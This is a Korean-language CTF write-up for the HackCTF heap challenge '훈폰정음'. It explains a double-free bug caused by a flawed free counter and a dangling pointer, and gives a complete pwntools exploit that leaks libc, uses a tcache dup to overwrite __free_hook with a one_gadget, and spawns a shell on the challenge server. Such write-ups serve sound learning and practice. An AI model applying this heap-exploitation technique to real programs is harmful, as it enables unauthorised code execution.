본문 바로가기
Wargame Write-Up/HackCTF

(HackCTF) 훈폰정음 writeup

by snwo 2022. 2. 26.

TL;DR heap challenge, tcache

tcache 가 있는 GLIBC 2.27 라이브러리를 사용하는문제다.

add

table 배열의 index 0~60x000 ~ 0x400 size 의 chunk 를 할당받아 저장해줄 수 있다.

이미 chunk 가 존재하면 안됨

size 는 size 배열에 저장된다.

edit

table[index] 에 chunk 가 있으면, size[index] 만큼 수정가능.

delete

int delete()
{
  int result; // eax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("인덱스를 입력하시오:");
  result = smooth();
  v2 = result;
  while ( v2 >= 0 && v2 <= 6 )
  {
    if ( !table[v2] )
      return puts("그 인덱스는 비어있소!");
    if ( count-- )
    {
      free(table[v2]);
      return puts("삭제되었소.");
    }
    result = puts("미안하오...더 이상은 제거할 수 없소.\n");
  }
  return result;
}

table[index] 가 비어있지 않으면, 해제해준다.

해제할 때마다 count 변수를 감소시키는데, 초기값은 5이고 0이 되면 해제 불가.

→ 0 일때만 제거할 수 없다고 뜨고, 하나 더 감소시켜 -1 이 되면 if 문을 통과할 수 있다.

0일 때 return 을 안해서, 반복문이 한 번 더 실행되어 해당 인덱스가 해제된다.. ?

또한 dangling pointer 가 남아있어 DFB 가능.

check

table[index] 가 비어있지 않으면, 해당 chunk 의 내용을 %s 로 NULL 문자까지 출력해줌.


exploit

로컬 GLIBC 2.27 에는 tcache double check 가 적용되어있다.

서버에는 적용되어있지 않는점을 이용해, 7번 free 해서 tcache bin 을 채울 수 있다.

  1. 0x400 size chunk 3개 할당,
    index 0 : 7번 해제해서 tcache_bin 채움
    index 1 : 그 담으로 해제해서 unsorted bin 에 들어가게함.
    index 2 : top_chunk 와 병합 방지
    check 를 통해 libc leak
  2. tcache dup 으로 __free_hook 에 할당받고, 원샷가젯으로 덮는다.
    free(3)*2, edit 메뉴로 FD → __free_hook,
    chunk 하나 할당하고, 다음 할당할 떄는 원샷가젯 입력
from pwn import *
import subprocess
import sys

slog = lambda s,n:log.info(": ".join([s,hex(n)]))
context.binary = binary = "./훈폰정음"
library="./libc-2.27.so"
# context.log_level='debug'
context.arch="amd64"
b=ELF(binary,checksec=False)
if '1' in sys.argv:
    r = remote("ctf.j0n9hyun.xyz", 3041)
    lib = ELF(library, checksec=False)
    oneshot=list(map(int,subprocess.check_output(["one_gadget","--raw",library]).split()))
    print(oneshot)
else:
    r = b.process()
    lib = b.libc
    oneshot=list(map(int,subprocess.check_output(["one_gadget","--raw",lib.path]).split()))
    print(oneshot)

def add(index,size,data):
    r.sendlineafter(">> ",b"1")
    r.sendlineafter(":\n",str(index).encode())
    r.sendlineafter(":\n",str(size).encode())
    r.sendafter(":\n",data)
def edit(index,data):
    r.sendlineafter(">> ",b"2")
    r.sendlineafter(":\n",str(index).encode())
    r.sendafter(":\n",data)
def free(index):
    r.sendlineafter(">> ",b"3")
    r.sendlineafter(":\n",str(index).encode())
def view(index):
    r.sendlineafter(">> ",b"4")
    r.sendlineafter(":\n",str(index).encode())
    r.recvuntil(":")
    return r.recvuntil("\n\n")[:-2]
add(0,0x400,"x")
add(1,0x400,"x")
add(2,0x400,"x")
for i in range(7):
    free(0)
free(1)
# edit(1,b'x'*8)
libc=u64(view(1)+b'\x00\x00')-0x3ebc40
libc=libc&~0xfff
slog("libc",libc)

add(3,0x60,"asdf")
free(3)
free(3)
edit(3,p64(lib.sym['__free_hook']+libc))
pause()
add(4,0x60,'x')
add(5,0x60,p64(libc+oneshot[1]))
free(2)
r.interactive()

malloc hook 으로 덮으려다가 안 사실인데,

fastbin 에서는 bin 을 연결할 때 header 부분을 가리키지만,

tcache 에서는 data 영역 (FD 있는곳) 을 가리키고있었다.

tcache 에 대해서 더 공부해봐야겠다.

 

아 물론 malloc hook 덮어도 된다! 근데